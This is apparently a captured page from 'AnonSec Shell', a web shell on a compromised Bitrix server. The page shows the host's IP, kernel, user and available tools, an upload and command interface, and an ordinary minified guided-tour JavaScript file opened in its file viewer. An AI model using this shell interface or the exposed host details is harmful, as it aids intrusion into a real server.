AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.221.211.46
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/ui/tour/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/ui/tour/dist/tour.bundle.min.js
this.BX=this.BX||{};this.BX.UI=this.BX.UI||{};(function(t,e,i,s,n){"use strict";class o{}o.WARNING="--condition-warning";o.ALERT="--condition-alert";o.PRIMARY="--condition-primary";class r extends n.Event.EventEmitter{constructor(t){super(t);this.target=null;if(n.Type.isString(t.target)&&t.target!==""||n.Type.isFunction(t.target)||n.Type.isDomNode(t.target)){this.target=t.target}this.id=t.id||null;this.text=t.text;this.areaPadding=t.areaPadding;this.link=t.link||"";this.linkTitle=t.linkTitle||null;this.rounded=t.rounded||false;this.title=t.title||null;this.article=t.article||null;this.position=t.position||null;this.cursorMode=t.cursorMode||false;this.targetEvent=t.targetEvent||null;this.buttons=t.buttons||[];this.condition=t.condition||null;const e=n.Type.isPlainObject(t.events)?t.events:{};for(let t in e){const i=n.Type.isFunction(e[t])?e[t]:n.Reflection.getClass(e[t]);if(i){this.subscribe(this.constructor.getFullEventName(t),(()=>{i()}))}}}getCondition(){return this.condition}getTarget(){if(n.Type.isString(this.target)&&this.target!==""){return document.querySelector(this.target)}if(n.Type.isFunction(this.target)){return this.target()}return this.target}getTargetPos(){if(n.Type.isDomNode(this.target)){return n.Dom.getPosition(this.target)}}getId(){return this.id}getButtons(){return this.buttons}getAreaPadding(){return this.areaPadding}getRounded(){return this.rounded}getText(){return this.text}getLink(){return this.link}getLinkTitle(){return this.linkTitle}getTitle(){return this.title}getPosition(){return this.position}getArticle(){return this.article}getCursorMode(){return this.cursorMode}getTargetEvent(){return this.targetEvent}static getFullEventName(t){return"Step:"+t}setTarget(t){this.target=t}initTargetEvent(){if(n.Type.isFunction(this.targetEvent)){this.targetEvent();return}this.getTarget().dispatchEvent(new MouseEvent(this.targetEvent))}}let u=t=>t,l,a,h,p,g,d,c,y,f,C,m,v,T,S,b,P,w;class E extends n.Event.EventEmitter{constructor(t={}){super(t);t=n.Type.isPlainObject(t)?t:{};this.steps=[];if(Array.isArray(t.steps)){t.steps.forEach((t=>{this.steps.push(new r(t))}))}if(this.steps.length<1){throw new Error("BX.UI.Tour.Guide: 'steps' argument is required.")}this.id="ui-tour-guide-"+n.Text.getRandom();this.setId(t.id);this.autoSave=false;this.popup=null;this.layout={overlay:null,element:null,title:null,text:null,link:null,closeIcon:{right:"0",top:"0"},btnContainer:null,nextBtn:null,backBtn:null,content:null,finalContent:null,counter:null,currentCounter:null,counterItems:[]};this.buttons=t.buttons||"";this.onEvents=t.onEvents||false;this.currentStepIndex=0;this.targetPos=null;this.clickOnBackBtn=false;this.helper=top.BX.Helper;this.targetContainer=n.Type.isDomNode(t.targetContainer)?t.targetContainer:null;this.overlay=n.Type.isBoolean(t.overlay)?t.overlay:true;this.finalStep=t.finalStep||false;this.finalText=t.finalText||"";this.finalTitle=t.finalTitle||"";this.simpleMode=t.simpleMode||false;this.setAutoSave(t.autoSave);const e=n.Type.isPlainObject(t.events)?t.events:{};for(let t in e){let i=n.Type.isFunction(e[t])?e[t]:n.Reflection.getClass(e[t]);if(i){this.subscribe(this.constructor.getFullEventName(t),(()=>{i()}))}}n.Event.bind(window,"resize",this.handleResizeWindow.bind(this))}getId(){return this.id}setId(t){if(n.Type.isString(t)&&t!==""){this.id=t}}getAutoSave(){return this.autoSave}setAutoSave(t){if(n.Type.isBoolean(t)){this.autoSave=t}}save(){const t="view_date_"+this.getId();n.userOptions.save("ui-tour",t,null,Math.floor(Date.now()/1e3));n.userOptions.send(null)}start(){this.emit(this.constructor.getFullEventName("onStart"),{guide:this});if(this.getAutoSave()){this.save()}if(this.overlay){this.setOverlay()}const t=this.getPopup();t.show();if(this.popup.getPopupContainer()){n.Dom.removeClass(this.popup.getPopupContainer(),"popup-window-ui-tour-opacity")}this.showStep();n.Dom.addClass(this.layout.backBtn,"ui-tour-popup-btn-hidden");if(this.getCurrentStep().getTarget()){n.Dom.addClass(this.getCurrentStep().getTarget(),"ui-tour-selector")}}close(){if(this.currentStepIndex===this.steps.length&&this.onEvents)return;this.closeStep();this.emit(this.constructor.getFullEventName("onFinish"),{guide:this});if(this.popup){this.popup.destroy()}if(this.layout.cursor){n.Dom.remove(this.layout.cursor);this.layout.cursor=null}if(this.onEvents){this.increaseCurrentStepIndex()}n.Dom.remove(this.layout.overlay);n.Dom.removeClass(document.body,"ui-tour-body-overflow");if(this.getCurrentStep()&&this.getCurrentStep().getTarget()){this.getCurrentStep().getTarget().classList.remove("ui-tour-selector")}this.layout.overlay=null;this.layout.element=null;this.layout.title=null;this.layout.text=null;this.layout.link=null;this.layout.btnContainer=null;this.layout.nextBtn=null;this.layout.backBtn=null;this.layout.content=null;this.layout.finalContent=null;this.layout.counter=null;this.layout.currentCounter=null;this.layout.counterItems=[];this.popup=null}showStep(){this.adjustEvents();n.Dom.removeClass(this.popup.getPopupContainer(),"popup-window-ui-tour-opacity");if(this.layout.element){n.Dom.removeClass(this.layout.element,"ui-tour-overlay-element-opacity")}if(this.layout.backBtn){setTimeout((()=>{this.layout.backBtn.style.display="block"}),10)}if(this.overlay){this.setOverlayElementForm()}if(this.getCurrentStep()){this.setCoords(this.getCurrentStep().getTarget())}this.setPopupData()}showNextStep(){if(this.currentStepIndex===this.steps.length){return}if(this.getCurrentStep().getCursorMode()){this.showCursor()}else{const t=this.getPopup();t.show();if(t.getPopupContainer()){n.Dom.removeClass(t.getPopupContainer(),"popup-window-ui-tour-opacity")}if(this.getCurrentStep()){this.setCoords(this.getCurrentStep().getTarget())}this.setPopupData()}this.adjustEvents();if(this.getCurrentStep()&&this.getCurrentStep().getTarget()){n.Dom.addClass(this.getCurrentStep().getTarget(),"ui-tour-selector")}}adjustEvents(){let t=this.getCurrentStep();t.emit(t.constructor.getFullEventName("onShow"),{step:t,guide:this});if(t.getTarget()){let i=this.close.bind(this);const s=o=>{if(o.isTrusted){i()}e.EventEmitter.emit("UI.Tour.Guide:clickTarget",this);n.Event.unbind(t.getTarget(),"click",s)};n.Event.bind(t.getTarget(),"click",s);this.subscribe("UI.Tour.Guide:onFinish",(()=>{n.Event.unbind(t.getTarget(),"click",i)}));const o=t.getTarget().getBoundingClientRect();const r=n.Dom.getPosition(t.getTarget());if(!this.isTargetVisible(o)){this.scrollToTarget(r)}}}closeStep(){const t=this.getCurrentStep();if(t){t.emit(t.constructor.getFullEventName("onClose"),{step:t,guide:this});const e=t.getTarget();if(e){n.Dom.removeClass(e,"ui-tour-selector")}}}setPopupPosition(){if(!this.getCurrentStep().getTarget()||this.targetPos===null||this.getCurrentStep().getPosition()==="center"){this.getPopup().setBindElement(null);this.getPopup().setOffset({offsetLeft:0,offsetTop:0});this.getPopup().setAngle(false);this.getPopup().adjustPosition();return}let t=0;let e=-15;let i=0;let s="top";const n={forceTop:true,forceLeft:true,forceBindPosition:true};const o=this.getPopup().getPopupContainer().offsetWidth;const r=document.documentElement.clientWidth;if(this.getCurrentStep().getPosition()==="right"){s="left";t=this.targetPos.width+30;e=this.targetPos.height+this.getAreaPadding();if(this.targetPos.left+t+o>r){let e=this.targetPos.left-o;if(e>0){t=-o-30;s="right"}}}else if(this.getCurrentStep().getPosition()==="left"){s="right";t=-this.targetPos.width-(o-this.targetPos.width)-40;e=this.targetPos.height+this.getAreaPadding();if(this.targetPos.right+t+o<r){let e=this.targetPos.left-o;if(e<0){t=this.targetPos.width+40;s="left"}}}else{n.forceLeft=false;n.forceTop=false;if(this.getCurrentStep().getRounded()){if(!this.onEvents){e=-(this.layout.element.getAttribute("r")-this.targetPos.height/2+10)}i=0;t=this.targetPos.width/2}else if(this.targetPos.width<30){t=this.targetPos.width/2;e=-15;i=0}else{t=25;if(!this.onEvents){e=-(this.layout.element.getAttribute("height")/2-this.targetPos.height/2+10)}else{e=0}i=0}}let u=this.getCurrentStep().getTarget();if(this.getCurrentStep().getPosition()==="center")u=window;this.getPopup().setBindElement(u);this.getPopup().setOffset({offsetLeft:t,offsetTop:-e});this.getPopup().setAngle({position:s,offset:i});this.getPopup().adjustPosition(n)}setOverlay(){this.layout.overlay=n.Tag.render(l||(l=u`
			<svg class="ui-tour-overlay" xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" preserveAspectRatio="none">
				<mask id="hole">
					<defs>
						<filter id="ui-tour-filter">
							<feGaussianBlur stdDeviation="0"/>
						</filter>
					</defs>
					<rect x="0" y="0" width="100%" height="100%" fill="white"></rect>
					<rect id="rect" class="ui-tour-overlay-element ui-tour-overlay-element-rect" x="1035.5" y="338" width="422" rx="2" ry="2" height="58" filter="url(#ui-tour-filter)"></rect>
					<circle id="circle" class="ui-tour-overlay-element ui-tour-overlay-element-circle" cx="10" cy="10" r="10" filter="url(#ui-tour-filter)"></circle>
				</mask>
				<rect x="0" y="0" width="100%" height="100%" fill="#000" mask="url(#hole)"></rect>
			</svg>
		`));n.Dom.addClass(document.body,"ui-tour-body-overflow");if(this.targetContainer){n.Dom.append(this.layout.overlay,this.targetContainer)}else{n.Dom.append(this.layout.overlay,document.body)}this.setOverlayElementForm()}setOverlayElementForm(){if(this.getCurrentStep().getRounded()){this.layout.overlay.querySelector(".ui-tour-overlay-element-rect").style.display="none";this.layout.overlay.querySelector(".ui-tour-overlay-element-circle").style.display="block";this.layout.element=this.layout.overlay.querySelector(".ui-tour-overlay-element-circle")}else{this.layout.overlay.querySelector(".ui-tour-overlay-element-circle").style.display="none";this.layout.overlay.querySelector(".ui-tour-overlay-element-rect").style.display="block";this.layout.element=this.layout.overlay.querySelector(".ui-tour-overlay-element-rect")}return this.layout.element}handleResizeWindow(){if(this.layout.element&&this.getCurrentStep()){this.setCoords(this.getCurrentStep().getTarget())}}setCoords(t){if(!t){if(this.layout.element){this.layout.element.style.display="none"}return}this.targetPos=t.getBoundingClientRect();if(this.layout.element){this.layout.element.style.display="block";if(this.getCurrentStep().getRounded()){this.layout.element.setAttribute("cx",this.targetPos.left+this.targetPos.width/2);this.layout.element.setAttribute("cy",this.targetPos.top+this.targetPos.height/2);this.layout.element.setAttribute("r",this.targetPos.width/2+this.getAreaPadding())}else{this.layout.element.setAttribute("x",this.targetPos.left-this.getAreaPadding());this.layout.element.setAttribute("y",this.targetPos.top-this.getAreaPadding());this.layout.element.setAttribute("width",this.targetPos.width+this.getAreaPadding()*2);this.layout.element.setAttribute("height",this.targetPos.height+this.getAreaPadding()*2)}}}getAreaPadding(){let t=15;if(this.getCurrentStep().getAreaPadding()>=0){t=this.getCurrentStep().getAreaPadding()}return t}increaseCurrentStepIndex(){this.currentStepIndex++;if(this.currentStepIndex+1===this.steps.length&&!this.finalStep&&!this.onEvents){setTimeout((()=>{this.layout.nextBtn.textContent=n.Loc.getMessage("JS_UI_TOUR_BUTTON_CLOSE")}),200)}}reduceCurrentStepIndex(){if(this.currentStepIndex===0){return}if(this.currentStepIndex<this.steps.length&&!this.finalStep){setTimeout((()=>{this.layout.nextBtn.textContent=n.Loc.getMessage("JS_UI_TOUR_BUTTON")}),200)}this.currentStepIndex--}getPopup(){if(!this.popup){var t;let l=this.getCurrentStep()?this.getCurrentStep().getTarget():window;let p="popup-window-ui-tour popup-window-ui-tour-opacity";if(this.getCurrentStep().getCondition()){var s;if(n.Type.isString(this.getCurrentStep().getCondition())){p=p+" --condition-"+this.getCurrentStep().getCondition().toLowerCase()}if(n.Type.isObject(this.getCurrentStep().getCondition())){var o;p=p+" --condition-"+((o=this.getCurrentStep().getCondition())==null?void 0:o.color.toLowerCase())}if(((s=this.getCurrentStep().getCondition())==null?void 0:s.top)!==false){p=p+" --condition"}}this.onEvents?p=p+" popup-window-ui-tour-animate":null;let g=[];if(this.getCurrentStep()&&this.getCurrentStep().getButtons().length>0){this.getCurrentStep().getButtons().forEach((t=>{g.push(new i.PopupWindowButton({text:t.text,className:"ui-btn ui-btn-sm ui-btn-primary ui-btn-round",events:{click:n.Type.isFunction(t.event)?t.event:null}}))}))}const d=this.onEvents?280:420;this.popup=new i.Popup({targetContainer:this.targetContainer,content:this.getContent(),bindElement:l,className:p,autoHide:this.onEvents?false:true,offsetTop:15,width:d,closeIcon:true,noAllPaddings:true,bindOptions:{forceTop:true,forceLeft:true,forceBindPosition:true},events:{onPopupClose:t=>{if(t.destroyed===false&&this.onEvents)e.EventEmitter.emit("UI.Tour.Guide:onPopupClose",this);this.close()}},buttons:g});const c=n.Tag.render(a||(a=u`
				<div class="ui-tour-popup-condition-top">
					<div class="ui-tour-popup-condition-angle"></div>
				</div>
			`));const y=n.Tag.render(h||(h=u`
				<div class="ui-tour-popup-condition-bottom"></div>
			`));if(n.Type.isString(this.getCurrentStep().getCondition())){n.Dom.append(c,this.popup.getContentContainer())}if(n.Type.isObject(this.getCurrentStep().getCondition())){var r;if(((r=this.getCurrentStep().getCondition())==null?void 0:r.top)!==false){n.Dom.append(c,this.popup.getContentContainer())}}if(((t=this.getCurrentStep().getCondition())==null?void 0:t.bottom)!==false){n.Dom.append(y,this.popup.getContentContainer())}}return this.popup}getContent(){if(!this.layout.content){let t="";if(this.getCurrentStep().getLink()||this.getCurrentStep().getArticle()){t=this.getLink()}this.layout.content=n.Tag.render(p||(p=u`
				<div class="ui-tour-popup ${0} ${0}" >
					${0}
					<div class="ui-tour-popup-content">
						${0}
						${0}
					</div>
					${0}
					<div class="ui-tour-popup-footer">
						<div class="ui-tour-popup-index">
							${0}
							${0}
						</div>
							${0}
					</div>
				</div>
			`),this.simpleMode?"ui-tour-popup-simple":"",this.onEvents?"ui-tour-popup-events":"",this.getTitle(),this.getText(),t,t,this.onEvents?"":this.getCounterItems(),this.onEvents?"":this.getCurrentCounter(),this.onEvents?"":this.getBtnContainer())}return this.layout.content}setPopupData(){n.Event.unbindAll(this.layout.link,"click");this.getTitle().innerHTML=this.getCurrentStep().getTitle();this.getText().innerHTML=this.getCurrentStep().getText();if(this.getCurrentStep().getArticle()||this.getCurrentStep().getLink()){n.Dom.removeClass(this.layout.link,"ui-tour-popup-link-hide");if(this.getCurrentStep().getArticle()){n.Event.bind(this.layout.link,"click",this.handleClickLink.bind(this))}if(this.getCurrentStep().getLink()){this.getLink().setAttribute("href",this.getCurrentStep().getLink())}}else{n.Dom.addClass(this.layout.link,"ui-tour-popup-link-hide")}this.getCurrentCounter().textContent=n.Loc.getMessage("JS_UI_TOUR_STEP_INDEX_TEXT").replace("#NUMBER#",this.currentStepIndex+1).replace("#NUMBER_TOTAL#",this.steps.length);for(let t=0;t<this.steps.length;t++){if(this.layout.counterItems[t]){n.Dom.removeClass(this.layout.counterItems[t],"ui-tour-popup-index-item-current");n.Dom.removeClass(this.layout.counterItems[t],"ui-tour-popup-index-item-passed")}if(t===this.currentStepIndex){n.Dom.addClass(this.layout.counterItems[t],"ui-tour-popup-index-item-current")}else if(t<this.currentStepIndex){n.Dom.addClass(this.layout.counterItems[t],"ui-tour-popup-index-item-passed")}}this.setPopupPosition()}handleClickLink(){event.preventDefault();if(!this.helper){this.helper=top.BX.Helper}this.helper.show("redirect=detail&code="+this.getCurrentStep().getArticle());if(this.onEvent){if(this.helper.isOpen())this.getPopup().setAutoHide(false);e.EventEmitter.subscribe(this.helper.getSlider(),"SidePanel.Slider:onCloseComplete",(()=>{this.getPopup().setAutoHide(true)}))}}getTitle(){if(this.layout.title===null){this.layout.title=n.Tag.render(g||(g=u`
				<div class="ui-tour-popup-title"></div>
			`))}return this.layout.title}getText(){if(this.layout.text===null){this.layout.text=n.Tag.render(d||(d=u`
				<div class="ui-tour-popup-text"></div>
			`))}return this.layout.text}getLink(){if(!this.layout.link){var t;const e=(t=this.steps[this.currentStepIndex].getLinkTitle())!=null?t:n.Loc.getMessage("JS_UI_TOUR_LINK");this.layout.link=n.Tag.render(c||(c=u`
				<a target="_blank" href="" class="ui-tour-popup-link">
					${0}
				</a>
			`),e)}return this.layout.link}getCurrentCounter(){if(this.layout.currentCounter===null){this.layout.currentCounter=n.Tag.render(y||(y=u`
				<span class="ui-tour-popup-counter">
					${0}
				</span>
			`),n.Loc.getMessage("JS_UI_TOUR_STEP_INDEX_TEXT").replace("#NUMBER#",this.currentStepIndex+1).replace("#NUMBER_TOTAL#",this.steps.length))}return this.layout.currentCounter}getBtnContainer(){if(this.layout.btnContainer===null){this.layout.btnContainer=n.Tag.render(f||(f=u`
				<div class="ui-tour-popup-btn-block"></div>
			`));this.layout.nextBtn=n.Tag.render(C||(C=u`
				<button id="next" class="ui-tour-popup-btn-next">
					${0}
				</button>
			`),this.simpleMode?n.Loc.getMessage("JS_UI_TOUR_BUTTON_SIMPLE"):n.Loc.getMessage("JS_UI_TOUR_BUTTON"));this.layout.backBtn=n.Tag.render(m||(m=u`
				<button id="back" class="ui-tour-popup-btn-back">
				</button>
			`));n.Dom.append(this.layout.backBtn,this.layout.btnContainer);n.Dom.append(this.layout.nextBtn,this.layout.btnContainer);n.Event.bind(this.layout.nextBtn,"click",this.handleClickOnNextBtn.bind(this));n.Event.bind(this.layout.backBtn,"click",this.handleClickOnBackBtn.bind(this))}return this.layout.btnContainer}getCounterItems(){if(this.layout.counter===null){this.layout.counter=n.Tag.render(v||(v=u`
				<span class="ui-tour-popup-index-items">
				</span>
			`))}this.layout.counterItems=[];for(let t=0;t<this.steps.length;t++){const t=n.Tag.render(T||(T=u`
				<span class="ui-tour-popup-index-item">
				</span>
			`));this.layout.counterItems.push(t);n.Dom.append(t,this.layout.counter)}return this.layout.counter}getCurrentStep(){return this.steps[this.currentStepIndex]}getPreviousStep(){if(this.steps[this.currentStepIndex-1]){return this.steps[this.currentStepIndex-1]}}handleClickOnNextBtn(){n.Dom.addClass(this.layout.element,"ui-tour-overlay-element-opacity");n.Dom.addClass(this.popup.getPopupContainer(),"popup-window-ui-tour-opacity");this.clickOnBackBtn=false;if(this.getCurrentStep()){this.closeStep()}this.increaseCurrentStepIndex();if(this.getCurrentStep()&&this.getCurrentStep().getTarget()){n.Dom.addClass(this.getCurrentStep().getTarget(),"ui-tour-selector")}if(this.currentStepIndex===this.steps.length){if(this.finalStep){this.setFinalStep()}else{this.close()}}else{setTimeout((()=>{this.showStep()}),200);if(n.Dom.hasClass(this.layout.backBtn,"ui-tour-popup-btn-hidden")){n.Dom.removeClass(this.layout.backBtn,"ui-tour-popup-btn-hidden")}}}handleClickOnBackBtn(){n.Dom.addClass(this.layout.element,"ui-tour-overlay-element-opacity");n.Dom.addClass(this.popup.getPopupContainer(),"popup-window-ui-tour-opacity");this.closeStep();this.reduceCurrentStepIndex();if(this.currentStepIndex===0){n.Dom.addClass(this.layout.backBtn,"ui-tour-popup-btn-hidden")}this.clickOnBackBtn=true;setTimeout((()=>{this.layout.backBtn.style.display="none";this.showStep()}),200);if(this.getCurrentStep().getTarget()){n.Dom.addClass(this.getCurrentStep().getTarget(),"ui-tour-selector")}}setFinalStep(){this.layout.element.style.display="none";this.getPopup().destroy();const t=this.getFinalPopup();t.show();n.Dom.addClass(t.getPopupContainer(),"popup-window-ui-tour-final-show")}getFinalPopup(){this.popup=new i.Popup({content:this.getFinalContent(),className:"popup-window-ui-tour-final",offsetTop:this.onEvents?0:15,offsetLeft:35,maxWidth:430,minWidth:300});return this.popup}getFinalContent(){if(!this.layout.finalContent){this.layout.finalContent=n.Tag.render(S||(S=u`
				<div class="ui-tour-popup">
					<div class="ui-tour-popup-title">
						${0}
					</div>
					<div class="ui-tour-popup-content">
						<div class="ui-tour-popup-text">
							${0}
						</div>
					</div>
					<div class="ui-tour-popup-footer-btn">
						${0}
					</div>
				</div>
			`),this.finalTitle,this.finalText,this.getFinalBtn())}return this.layout.finalContent}getFinalBtn(){const t=[];if(this.buttons!==""){for(let e=0;e<this.buttons.length;e++){let i=n.Tag.render(b||(b=u`
					<button class="${0}" onclick="${0}">
					${0}
					</button>
				`),this.buttons[e].class,this.buttons[e].events.click,this.buttons[e].text);t.push(i)}}else{let e=n.Tag.render(P||(P=u`
				<button class="ui-btn ui-btn-sm ui-btn-primary ui-btn-round" onclick="${0}">
				${0}
				</button>
			`),this.close.bind(this),n.Loc.getMessage("JS_UI_TOUR_BUTTON_CLOSE"));t.push(e)}return t}isTargetVisible(t){return t.top>=0&&t.left>=0&&t.bottom<=(window.innerHeight||document.documentElement.clientHeight)&&t.right<=(window.innerWidth||document.documentElement.clientWidth)}scrollToTarget(t){window.scrollTo(0,t.y-this.getAreaPadding())}static getFullEventName(t){return"UI.Tour.Guide:"+t}showCursor(){this.setCursorPos();setTimeout((()=>{this.animateCursor()}),1e3)}getCursor(){if(!this.layout.cursor){this.layout.cursor=n.Tag.render(w||(w=u`
				<div class="ui-tour-cursor"></div>
			`));n.Event.bind(this.layout.cursor,"transitionend",(()=>{this.getCurrentStep().initTargetEvent()}));n.Dom.append(this.layout.cursor,document.body)}return this.layout.cursor}setCursorPos(){const t=this.getCurrentStep().getTargetPos();let e=t.left+t.width/2;if(e<0){e=0}this.cursorPaddingTop=30;let i=t.bottom+this.cursorPaddingTop;if(i<0){i=0}n.Dom.adjust(this.getCursor(),{style:{top:i+"px",left:e+"px"}})}animateCursor(){const t=this.cursorPaddingTop+this.getCurrentStep().getTargetPos().height/2;this.layout.cursor.style.transform="translateY(-"+t+"px)"}}E.ConditionColor=o;class x{constructor(){this.guides=new Map;this.autoStartQueue=[];this.currentGuide=null}create(t){t=n.Type.isPlainObject(t)?t:{};const e=t.id;if(!n.Type.isString(e)&&e!==""){throw new Error("'id' parameter is required.")}if(this.get(e)){throw new Error("The tour instance with the same 'id' already exists.")}const i=new E(t);this.guides.set(i,true);return i}add(t){const e=this.create(t);e.subscribe("UI.Tour.Guide:onFinish",(()=>{this.handleTourFinish(e)}));if(!this.currentGuide){this.currentGuide=e;e.start()}else{this.autoStartQueue.push(e)}}get(t){return this.guides.get(t)}remove(t){this.guides.delete(t)}getCurrentGuide(){return this.currentGuide}handleTourFinish(t){this.currentGuide=null;this.remove(t.getId());const e=this.autoStartQueue.shift();if(e){this.currentGuide=e;e.start()}}}var k=new x;t.Guide=E;t.Step=r;t.Manager=k})(this.BX.UI.Tour=this.BX.UI.Tour||{},BX.Event,BX.Main,BX,BX);
//# sourceMappingURL=tour.bundle.map.js

Anon7 - 2022
AnonSec Team